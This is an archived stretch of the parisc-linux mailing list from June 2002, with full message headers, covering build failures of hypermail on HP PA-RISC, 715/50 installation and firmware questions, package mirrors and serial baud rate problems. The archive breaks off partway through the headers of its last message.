	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15155

On Thu, Jun 20, 2002 at 10:50:50AM +0200, Witvliet, Hans wrote:
> Hi,
> 
> Short question,
> 
> Did anybody already succeed in compiling mailman?
> Here (712/100) it failed.

What failed and how?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
Finished a double shift and is out back wondering what that big burning ball in the sky is. 




From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim ter Laak <timl@scintilla.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Thu, 20 Jun 2002 12:53:24 +0200 (CEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206201245350.31804-100000@utelscin.scintilla>
References: <20020620095116.GM25945@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621414 9165 80.91.229.3 (22 Nov 2014 01:56:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:54 +0000 (UTC)
Cc: Masliy Alex <masliy@kfti.knc.ru>,
	parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 04:53:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from utelscin.el.utwente.nl (utelscin.el.utwente.nl [130.89.17.165])
	by dsl2.external.hp.com (Postfix) with SMTP id E26BA4854
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 04:53:25 -0600 (MDT)
Original-Received: (qmail 32280 invoked by uid 699); 20 Jun 2002 10:53:24 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 20 Jun 2002 10:53:24 -0000
X-Sender: timl@utelscin.scintilla
In-Reply-To: <20020620095116.GM25945@charite.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15156

On Thu, 20 Jun 2002, Ralf Hildebrandt wrote:

> On Thu, Jun 20, 2002 at 12:55:06PM +0400, Masliy Alex wrote:
> 
> >       I could not exactly understand what does the last phrase mean.
> > Either I must stop my attempts to install Linux on this mashine or I must
> > take older distribution version or what?
> 
> Update the firmware maybe?
>  
I searched for a few days for new firmware for a 715/50, but didn't find
anything. Only for the faster 715's, but their hardware is slightly
different. So I wouldn't try that update on a 715/50.

*If* this really is a firmware bug (that's still merely speculation), a
workaround for Palo could be made (after all, HP-UX will boot). It
might even be a Palo bug?

Tim.




From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Thu, 20 Jun 2002 12:14:12 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020620121412.R9435@parcelfarce.linux.theplanet.co.uk>
References: <20020620095116.GM25945@charite.de> <Pine.LNX.4.21.0206201245350.31804-100000@utelscin.scintilla>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621415 9166 80.91.229.3 (22 Nov 2014 01:56:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:55 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	Masliy Alex <masliy@kfti.knc.ru>, parisc-linux@lists.parisc-linux.org
To: Tim ter Laak <timl@scintilla.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 05:14:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CE0F485B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 05:14:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17KztE-0006Zd-00; Thu, 20 Jun 2002 12:14:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.21.0206201245350.31804-100000@utelscin.scintilla>; from timl@scintilla.utwente.nl on Thu, Jun 20, 2002 at 12:53:24PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15157

On Thu, Jun 20, 2002 at 12:53:24PM +0200, Tim ter Laak wrote:
> I searched for a few days for new firmware for a 715/50, but didn't find
> anything. Only for the faster 715's, but their hardware is slightly
> different. So I wouldn't try that update on a 715/50.

the hardware's quite radically different ... plus i believe that upgrading
715/Scorpio firmware invlves an EEPROM burner and swapping some chips.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] was: mail-man; should be hyper-mail
Date: Thu, 20 Jun 2002 14:26:31 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F881542343@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621415 9169 80.91.229.3 (22 Nov 2014 01:56:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Ralf Hildebrandt'" <Ralf.Hildebrandt@charite.de>,
	"Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 06:27:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.be (alc250.alcatel.be [195.207.101.250])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0A924856
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 06:26:59 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (relay3 [127.0.0.1])
	by mail.alcatel.be (8.11.0/8.11.4) with ESMTP id g5KCNLm05752;
	Thu, 20 Jun 2002 14:23:21 +0200
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2653.19)
	id <NHXM39NZ>; Thu, 20 Jun 2002 14:26:32 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15158

Sorry,

My college confused two things; it's a problem with hypermail version 2.1.4
When starting with ./configure he gets: (manual copy)
checking host system type ... hppa1.1-unknown-linux-gnu
checking target system type.. hppa1.1-unknown-linux-gnu
checking build system type... hppa1.1-unknown-linux-gnu
....
.....
creating config.h

next he types: make, and gets:
building libtool
checking host system type .... invalid configuragtion:
''parisc-unknown-linux-gnu': machine 'parisc-unknown' not recognized.
..
make tables error 127
pcre/libpcre.a error 2
hypermail error 2


Hans

	-----Original Message-----
	From:	Ralf Hildebrandt [SMTP:Ralf.Hildebrandt@charite.de]
	Sent:	Thursday, June 20, 2002 11:52 AM
	To:	Witvliet, Hans
	Cc:	parisc-linux@lists.parisc-linux.org
	Subject:	Re: [parisc-linux] mail-man

	On Thu, Jun 20, 2002 at 10:50:50AM +0200, Witvliet, Hans wrote:
	> Hi,
	> 
	> Short question,
	> 
	> Did anybody already succeed in compiling mailman?
	> Here (712/100) it failed.

	What failed and how?

	-- 
	Ralf Hildebrandt (Im Auftrag des Referat V A)
Ralf.Hildebrandt@charite.de
	Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450
570-155
	Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450
570-916
	Why you can't find your system administrators:
	Finished a double shift and is out back wondering what that big
burning ball in the sky is. 



From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: was: mail-man; should be hyper-mail
Date: Thu, 20 Jun 2002 14:28:22 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20020620122822.GG27422@charite.de>
References: <03273D4BC7F4D511AC440008C7E6F881542343@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621415 9170 80.91.229.3 (22 Nov 2014 01:56:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 06:28:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2C924862
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 06:28:23 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 8BE1615C00D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 14:28:22 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 6A983633B3; Thu, 20 Jun 2002 14:28:22 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <03273D4BC7F4D511AC440008C7E6F881542343@nlntmail2b.ats.nld.alcatel.nl>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15159

Am 20.06.2002 um 14:26:31 +0200 schrieb Witvliet, Hans folgendes:

> My college confused two things; it's a problem with hypermail version 2.1.4
> When starting with ./configure he gets: (manual copy)
> checking host system type ... hppa1.1-unknown-linux-gnu
> checking target system type.. hppa1.1-unknown-linux-gnu
> checking build system type... hppa1.1-unknown-linux-gnu
> ....
> .....
> creating config.h
> 
> next he types: make, and gets:
> building libtool
> checking host system type .... invalid configuragtion:
> ''parisc-unknown-linux-gnu': machine 'parisc-unknown' not recognized.
> ..
> make tables error 127
> pcre/libpcre.a error 2
> hypermail error 2

I see. The configure script doesn't "know" the system type
"hppa1.1-unknown-linux-gnu". Go get the Debian source package and use
that. In there, you can find the patches that were used to make the
thing compile correctly.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
Busy installing a new clutch to better shift paradigms with. (ala Dilbert) --Michael Faurot mfaurot@phzzzt.atww.org




From - Thu Nov 08 21:23:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] was: mail-man; should be hyper-mail
Date: Thu, 20 Jun 2002 13:34:05 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020620133405.T9435@parcelfarce.linux.theplanet.co.uk>
References: <03273D4BC7F4D511AC440008C7E6F881542343@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621415 9175 80.91.229.3 (22 Nov 2014 01:56:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:55 +0000 (UTC)
Cc: 'Ralf Hildebrandt' <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 06:34:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 694404868
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 06:34:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17L18X-0008N5-00; Thu, 20 Jun 2002 13:34:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <03273D4BC7F4D511AC440008C7E6F881542343@nlntmail2b.ats.nld.alcatel.nl>; from Hans.Witvliet@Alcatel.nl on Thu, Jun 20, 2002 at 02:26:31PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15160

On Thu, Jun 20, 2002 at 02:26:31PM +0200, Witvliet, Hans wrote:
> next he types: make, and gets:
> building libtool
> checking host system type .... invalid configuragtion:
> ''parisc-unknown-linux-gnu': machine 'parisc-unknown' not recognized.
> ..

looks like out of date config.{sub,guess}.  as has been said elsewhere,
the debian packages have been updated with these things, but maybe
upstream hasn't.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Your patch: root=/dev/scsi/sdcXbXtXuXpX support
Date: Thu, 20 Jun 2002 14:50:20 +0200 (CEST)
Lines: 18
Approved: news@gmane.org
Message-ID: <1024577420.3d11cf8c699d6@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621416 9177 80.91.229.3 (22 Nov 2014 01:56:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Garloff <garloff@suse.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 06:50:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id D094D4860
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 06:50:26 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17L1OG-00015g-00; Thu, 20 Jun 2002 14:50:20 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15161

Hi Kurt,

On lwn.net I found your patch specially interesting because I encounter the
problem it solves last friday on my parisc-linux box.

I would to test your patch on my parisc-linux box but dono how to find back the
original patch. Could you send me in answer?

Thanks in advance for help,

    Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno =?iso-8859-1?Q?L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Only serial console for B1000 (64bits) ?
Date: Thu, 20 Jun 2002 15:41:09 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <200206201342.g5KDgpS12269@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621416 9180 80.91.229.3 (22 Nov 2014 01:56:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 07:42:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from iut-lannion.fr (alba.iut-lannion.fr [192.70.33.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76DC3485C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 07:42:53 -0600 (MDT)
Original-Received: from pcp91 (PCP91.iutlan.univ-rennes1.fr [129.20.233.91])
          by iut-lannion.fr (8.11.0/jtpda-5.3.1) with SMTP id g5KDgpS12269
          ; Thu, 20 Jun 2002 15:42:51 +0200
X-Sender: nonolemono@pop.mail.yahoo.fr
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 
Original-References: <200206191410.g5JEAMS03029@iut-lannion.fr>
 <200206190826.g5J8QYS31181@iut-lannion.fr>
 <200206190826.g5J8QYS31181@iut-lannion.fr>
 <200206191410.g5JEAMS03029@iut-lannion.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15162

>But now an easiest way for you would certainly be to download a more recent
>cd-image into: http://pateam.esiee.fr/cd-images/testing/
>(see also explanation on http://pateam.esiee.fr/download.html#deb page)

>I am confident that this solution will help you successfully,

Thanks for that Joel, after downloading this cd-image, I managed to install
the debian system on the B1000 workstation.

However, I'm trying to install packages using apt-get and dselect, but none
of the website seems to reply, or they do not accept me.
Which url did you use to install additionnal packeges ?
 
Thanks a lot again.
Bruno.




From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joachim Steiger <roh@hyte.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 16:49:12 +0200 (CEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206201644330.4291-100000@reactor.hyte.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621416 9183 80.91.229.3 (22 Nov 2014 01:56:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 08:50:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from reactor.hyte.de (reactor.hyte.de [212.84.215.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3958D4858
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 08:50:28 -0600 (MDT)
Original-Received: from roh (helo=localhost)
	by reactor.hyte.de with local-esmtp (Exim 3.15 #8)
	id 17L3FI-00017Y-00
	for parisc-linux@lists.parisc-linux.org; Thu, 20 Jun 2002 16:49:12 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15163

i just played around with my machine and stated that setting the baudrate
on the serial(rs232) to 57600(8n1) didnt work...
using 9600baud works ok

i was using minicom to connect to another machine (an embed. ppc) via
nullmodem-cable

i was using minicom on my pc in the same config (debian unstable,
2.4.16-adc1 on the pc, debian unstable, 2.4.17-32 from debian on the hppa)

anybody noticed a similar behaviour?
or are just all baudrates other than 9600 broken on the hppa-kernel?

TIA

roh




From - Thu Nov 08 21:23:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Only serial console for B1000 (64bits) ?
Date: Thu, 20 Jun 2002 17:23:56 +0200 (CEST)
Lines: 35
Approved: news@gmane.org
Message-ID: <1024586636.3d11f38c3d119@webmail.tiscalinet.be>
References: <200206191410.g5JEAMS03029@iut-lannion.fr> <200206190826.g5J8QYS31181@iut-lannion.fr> <200206190826.g5J8QYS31181@iut-lannion.fr> <200206191410.g5JEAMS03029@iut-lannion.fr> <200206201342.g5KDgpS12269@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621417 9187 80.91.229.3 (22 Nov 2014 01:56:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:57 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Bruno_L=E9on?= <nonolemono@yahoo.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 09:25:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 742B24864
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 09:24:59 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17L3mu-0006fo-00; Thu, 20 Jun 2002 17:23:56 +0200
In-Reply-To: <200206201342.g5KDgpS12269@iut-lannion.fr>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 62.235.240.170
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
